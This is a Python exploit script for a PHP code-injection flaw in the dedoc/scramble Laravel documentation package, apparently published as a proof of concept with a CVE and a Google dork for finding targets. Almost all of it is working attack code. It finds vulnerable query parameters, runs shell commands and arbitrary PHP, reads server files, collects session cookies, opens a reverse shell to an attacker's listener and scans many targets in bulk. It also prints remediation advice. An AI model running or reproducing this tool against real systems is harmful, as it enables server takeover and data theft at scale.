# Exploit Title: scramble - Remote Code Execution
# Google Dork: inurl:/docs/api.json "dedoc/scramble"
# Date: 2026-05-07
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Vendor Homepage: https://scramble.dedoc.co
# Software Link: https://github.com/dedoc/scramble
# Version: >=0.13.2, <0.13.22
# Tested on: Linux 6.10.14-linuxkit (aarch64), macOS, Windows
# CVE: CVE-2026-44262
# Reference: https://github.com/joshuavanderpoll/CVE-2026-44262
# Advisory: https://github.com/advisories/GHSA-4rm2-28vj-fj39
#
# Technique: extract() + eval() in NodeRulesEvaluator::doEvaluateExpression()
# lets attacker overwrite Scramble's internal $code variable with
# arbitrary PHP via a query parameter on /docs/api.json.
import argparse
import json
import re
import readline
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
DOCS_PATH = "/docs/api.json"
SLEEP_SECONDS = 4
PROOF_FILE_UNIX = "/tmp/scramble_rce_proof.txt"
PROOF_FILE_WIN = "C:\\Windows\\Temp\\scramble_rce_proof.txt"
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
P = "\033[95m"
B = "\033[1m"
X = "\033[0m"
REPO = "https://github.com/joshuavanderpoll/CVE-2026-44262"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-44262; +{REPO})"
DEFAULT_TIMEOUT = 15.0
_ua = DEFAULT_UA
_timeout = DEFAULT_TIMEOUT
_target_os = "unknown"
CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE
def print_banner():
print(f"{P}{B}")
print(r" _____ _____ ___ __ ___ __ _ _ _ _ ___ __ ___ ")
print(r" / __\ \ / / __|_|_ ) \_ )/ / ___| | || | |_ )/ /|_ )")
print(r" | (__ \ V /| _|___/ / () / // _ \___|_ _|_ _/ // _ \/ / ")
print(r" \___| \_/ |___| /___\__/___\___/ |_| |_/___\___/___|")
print(f"{X}")
print(f"{P}{B}{REPO}{X}\n")
def fetch(url: str, timeout: float | None = None):
req = urllib.request.Request(url, headers={"User-Agent": _ua})
t = timeout if timeout is not None else _timeout
try:
with urllib.request.urlopen(req, context=CTX, timeout=t) as r:
raw = r.headers
headers = {k.lower(): v for k, v in raw.items()}
# get_all handles duplicate Set-Cookie headers
headers["set-cookie-list"] = raw.get_all("Set-Cookie") or []
return r.status, r.read().decode(errors="replace"), headers
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="replace"), {}
except urllib.error.URLError as e:
return None, str(e.reason), {}
def info(msg):
print(f"{Y}[*]{X} {msg}")
def ok(msg):
print(f"{G}[+]{X} {msg}")
def err(msg):
print(f"{R}[-]{X} {msg}")
def proc(msg):
print(f"{C}[@]{X} {msg}")
def normalize_target(target: str) -> str:
if not target.startswith(("http://", "https://")):
target = "http://" + target
return target.rstrip("/")
def print_cookie_findings(cookies: list[str]):
for raw in cookies:
name = raw.split("=")[0].strip()
value_part = raw.split("=", 1)[1].split(";")[0].strip() if "=" in raw else ""
if name.upper() == "XSRF-TOKEN":
info(f"CSRF token (XSRF-TOKEN): {G}{value_part}{X}")
elif "session" in name.lower():
info(f"Session cookie '{name}': {G}{value_part}{X}")
else:
info(f"Cookie '{name}': {value_part}")
def check_accessible(base: str) -> bool:
url = base + DOCS_PATH
proc(f"Probing {url}")
status, body, headers = fetch(url)
if status is None:
err(body)
return False
if status == 200 and '"paths"' in body:
ok(f"HTTP {status} — docs accessible")
if server := headers.get("server"):
info(f"Server: {G}{server}{X}")
if powered := headers.get("x-powered-by"):
info(f"X-Powered-By: {G}{powered}{X}")
if cookies := headers.get("set-cookie-list"):
print_cookie_findings(cookies)
return True
err(f"HTTP {status} — not accessible or wrong target")
return False
def analyze_spec(base: str) -> tuple[list[tuple[str, str]], str | None]:
"""
Single spec fetch — prints all discovered target info.
Returns (vuln_params, version).
"""
_, body, _ = fetch(base + DOCS_PATH)
vuln_hits = []
version = None
# Laravel rule keywords that'd never appear as legit query param defaults
rule_pattern = re.compile(
r"^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)", re.I
)
try:
data = json.loads(body)
except json.JSONDecodeError:
return vuln_hits, version
info_block = data.get("info", {})
version = info_block.get("version")
if title := info_block.get("title"):
info(f"API title: {G}{title}{X}")
if version:
info(f"API version: {G}{version}{X}")
if servers := data.get("servers"):
for s in servers:
info(f"Server URL: {G}{s.get('url', '?')}{X}")
paths = data.get("paths", {})
if paths:
info(f"Endpoints discovered ({len(paths)}):")
for path, methods in paths.items():
method_list = ", ".join(m.upper() for m in methods)
print(f" {Y}{method_list}{X} {path}")
for path, methods in paths.items():
for method_data in methods.values():
for param in method_data.get("parameters", []):
if param.get("in") != "query":
continue
schema = param.get("schema", {})
default = str(schema.get("default", ""))
if rule_pattern.match(default) or "|" in default:
vuln_hits.append((path, param["name"]))
return vuln_hits, version
def build_attack_url(base: str, param: str, payload: str) -> str:
return base + DOCS_PATH + "?" + urllib.parse.urlencode({param: payload})
def capture_output(base: str, param: str, payload: str) -> str | None:
"""
Send a PHP payload and capture output from the response body.
Output from print/echo appears before the JSON — everything before '{'.
"""
_, body, _ = fetch(build_attack_url(base, param, payload))
json_start = body.find("{")
if json_start == -1:
return body.strip() or None
output = body[:json_start].strip()
return output or None
def probe_timing(base: str, param: str) -> bool:
proc(f"Timing probe — sleep({SLEEP_SECONDS}) via param '{param}'")
t0 = time.monotonic()
fetch(base + DOCS_PATH)
baseline = time.monotonic() - t0
info(f"Baseline: {baseline:.2f}s")
attack_url = build_attack_url(base, param, f"sleep({SLEEP_SECONDS})")
info(f"Payload URL: {attack_url}")
t0 = time.monotonic()
fetch(attack_url, timeout=SLEEP_SECONDS + _timeout)
elapsed = time.monotonic() - t0
delay = elapsed - baseline
info(f"Attack response: {elapsed:.2f}s (delay: {delay:+.2f}s)")
triggered = delay >= (SLEEP_SECONDS * 0.75)
if triggered:
ok(f"VULNERABLE — response delayed ~{SLEEP_SECONDS}s")
else:
err("Not triggered (no significant delay)")
return triggered
def probe_exec(base: str, param: str) -> bool:
proc(f"Command exec probe via param '{param}'")
cmd = "whoami" if is_windows() else "id 2>&1"
output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd)}))")
if output:
ok("VULNERABLE — command output captured:")
print(f"\n {B}{output}{X}\n")
return True
err("No command output in response (not vulnerable via this vector)")
return False
def detect_os(base: str, param: str):
global _target_os
raw = capture_output(base, param, "print(php_uname('s'))")
if not raw:
return
lower = raw.strip().lower()
if "windows" in lower:
_target_os = "windows"
elif "linux" in lower:
_target_os = "linux"
elif "darwin" in lower:
_target_os = "darwin"
else:
_target_os = raw.strip()
info(f"Target OS: {G}{_target_os}{X}")
def is_windows() -> bool:
return _target_os == "windows"
def proof_file() -> str:
return PROOF_FILE_WIN if is_windows() else PROOF_FILE_UNIX
def shell_binary() -> str:
return "cmd.exe" if is_windows() else "/bin/sh"
def print_output_block(output: str):
print(f"\n{B}{'─' * 65}{X}")
print(output)
print(f"{B}{'─' * 65}{X}\n")
def run_command(base: str, param: str, cmd: str):
proc(f"Executing: {cmd}")
# 2>&1 merges stderr into stdout so errors show up in output
cmd_with_stderr = cmd if "2>" in cmd else cmd + " 2>&1"
output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd_with_stderr)}))")
if output is not None:
print_output_block(output)
else:
err("No output (command may have failed silently)")
def run_code(base: str, param: str, code: str):
proc("Executing raw PHP code")
# closure makes multi-statement code a single eval-able expression
wrapped = f"(function(){{ {code} }})()"
output = capture_output(base, param, wrapped)
if output is not None:
print_output_block(output)
else:
err("No output returned")
def run_read_file(base: str, param: str, path: str):
proc(f"Reading file: {path}")
output = capture_output(base, param, f"print(file_get_contents({json.dumps(path)}))")
if output is not None:
ok(f"Contents of {path}:")
print_output_block(output)
else:
err("No output — file may not exist or not readable")
def run_reverse_shell(base: str, param: str, lhost: str, lport: int):
"""
PHP eval-loop reverse shell — no bash or busybox required.
Connects back to lhost:lport and executes PHP code sent over the socket.
"""
info(f"Starting listener on your end:")
print(f"\n {B}nc -lvnp {lport}{X}\n")
proc(f"Sending reverse shell payload to {lhost}:{lport}")
shell = shell_binary()
# proc_open pipes shell stdin/stdout/stderr directly to the socket
payload = (
f"(function(){{"
f"$s=@fsockopen('{lhost}',{lport},$e,$m,30);"
f"if(!$s)return;"
f"$p=proc_open({json.dumps(shell)},array(0=>$s,1=>$s,2=>$s),$pipes);"
f"if($p)proc_close($p);"
f"fclose($s);"
f"}})()"
)
# fire and forget — connection hangs until shell is done
fetch(build_attack_url(base, param, payload), timeout=3600)
def run_check(base: str, skip_os_detect: bool = False):
"""Non-breaking check — timing probe only, no command execution."""
if not check_accessible(base):
err("Docs not accessible.")
return False
print()
proc("Analyzing OpenAPI spec...")
print()
vuln_params, _ = analyze_spec(base)
print()
if not vuln_params:
err("No vulnerable parameters detected in spec")
return False
ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
for path, pname in vuln_params:
print(f" {Y}{path}{X} → param '{B}{pname}{X}'")
print()
_, param = vuln_params[0]
if not skip_os_detect:
detect_os(base, param)
print()
return probe_timing(base, param)
def print_header(base: str):
print(f"\n{B}{'=' * 65}{X}")
print(f"{B} GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE checker{X}")
print(f" Target: {C}{base}{X}")
print(f"{B}{'=' * 65}{X}\n")
def print_summary(base: str, param: str, timing: bool, exec_: bool):
print(f"{B}{'=' * 65}{X}")
print(f"{B} SUMMARY{X}")
print(f"{B}{'=' * 65}{X}")
print(f" Target: {C}{base}{X}")
print(f" Vuln param: {param}")
print(f" Timing probe: {'%sTRIGGERED%s' % (G, X) if timing else 'clean'}")
print(f" Exec probe: {'%sTRIGGERED%s' % (G, X) if exec_ else 'clean'}")
vulnerable = timing or exec_
if vulnerable:
print(f"\n {R}{B}Verdict: *** VULNERABLE *** (RCE confirmed){X}")
print(f"\n {Y}Remediation:{X}")
print(f" {B}1. Patch (recommended){X}")
print(" composer require dedoc/scramble:^0.13.22")
print(f" {B}2. Restrict docs access{X}")
print(" Add RestrictedDocsAccess middleware in config/scramble.php:")
print(" 'middleware' => ['web', RestrictedDocsAccess::class]")
print(f" {B}3. Disable docs in production{X}")
print(" Remove Scramble::routes() from AppServiceProvider or")
print(" wrap registration in: if (app()->isLocal()) { ... }")
print(f" {B}4. Block at web server level{X}")
print(" Deny access to /docs and /docs/api.json for external IPs")
print()
print(f" {Y}⭐ If this tool helped you, consider starring the repo: {B}{Y}{REPO}{X}")
else:
print(f"\n {G}Verdict: Not exploitable via this vector{X}")
print(f"{B}{'=' * 65}{X}\n")
return vulnerable
def main():
global _ua, _timeout, _target_os
parser = argparse.ArgumentParser(description="GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE")
target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument("--target", help="Target URL")
target_group.add_argument("--targets", metavar="FILE", help="File with one target URL per line")
parser.add_argument("--check", action="store_true", help="Safe non-breaking check only (timing probe, no command execution)")
parser.add_argument("--command", metavar="CMD", help="Execute a shell command and print output")
parser.add_argument("--code", metavar="PHP", help="Execute raw PHP code and print output")
parser.add_argument("--read-file", metavar="PATH", help="Read a file from the target filesystem")
parser.add_argument("--shell", action="store_true", help="Start a PHP eval reverse shell (requires --lhost and --lport)")
parser.add_argument("--lhost", metavar="HOST", help="Listener host for reverse shell")
parser.add_argument("--lport", metavar="PORT", type=int, help="Listener port for reverse shell")
parser.add_argument("--os", choices=["windows", "linux", "darwin"], metavar="OS",
help="Force target OS (windows/linux/darwin) — skips auto-detection. "
"Affects shell binary (cmd.exe vs /bin/sh), proof file path, and exec probe command.")
parser.add_argument("--useragent", default=DEFAULT_UA, help="Custom User-Agent string")
parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT, metavar="SECONDS", help="Request timeout in seconds (default: 15)")
args = parser.parse_args()
_ua = args.useragent
_timeout = args.timeout
if args.os:
_target_os = args.os
info(f"OS forced: {G}{_target_os}{X}")
if args.shell and (not args.lhost or not args.lport):
print(f"{R}[-]{X} --shell requires --lhost and --lport")
sys.exit(1)
print_banner()
# bulk check mode
if args.targets:
try:
with open(args.targets) as f:
targets = [normalize_target(l.strip()) for l in f if l.strip()]
except FileNotFoundError:
err(f"Targets file not found: {args.targets}")
sys.exit(1)
results = []
for target in targets:
print_header(target)
vulnerable = run_check(target, skip_os_detect=bool(args.os))
results.append((target, vulnerable))
print()
print(f"{B}{'=' * 65}{X}")
print(f"{B} BULK SCAN RESULTS{X}")
print(f"{B}{'=' * 65}{X}")
for target, vuln in results:
status = f"{R}{B}VULNERABLE{X}" if vuln else f"{G}clean{X}"
print(f" {status} {target}")
print(f"{B}{'=' * 65}{X}\n")
sys.exit(0)
base = normalize_target(args.target)
print_header(base)
# safe check mode — no exploit
if args.check:
vulnerable = run_check(base, skip_os_detect=bool(args.os))
sys.exit(1 if vulnerable else 0)
# full detection + exploit path
if not check_accessible(base):
err("Docs not accessible — cannot continue.")
sys.exit(0)
print()
proc("Analyzing OpenAPI spec...")
print()
vuln_params, _ = analyze_spec(base)
print()
if not vuln_params:
err("No vulnerable parameters detected in spec")
sys.exit(0)
ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
for path, pname in vuln_params:
print(f" {Y}{path}{X} → param '{B}{pname}{X}'")
print()
_, param = vuln_params[0]
if not args.os:
detect_os(base, param)
print()
if args.command:
run_command(base, param, args.command)
sys.exit(0)
if args.code:
run_code(base, param, args.code)
sys.exit(0)
if args.read_file:
run_read_file(base, param, args.read_file)
sys.exit(0)
if args.shell:
run_reverse_shell(base, param, args.lhost, args.lport)
sys.exit(0)
# default — full detection probes
timing_result = probe_timing(base, param)
print()
exec_result = probe_exec(base, param)
print()
vulnerable = print_summary(base, param, timing_result, exec_result)
sys.exit(1 if vulnerable else 0)
if __name__ == "__main__":
main()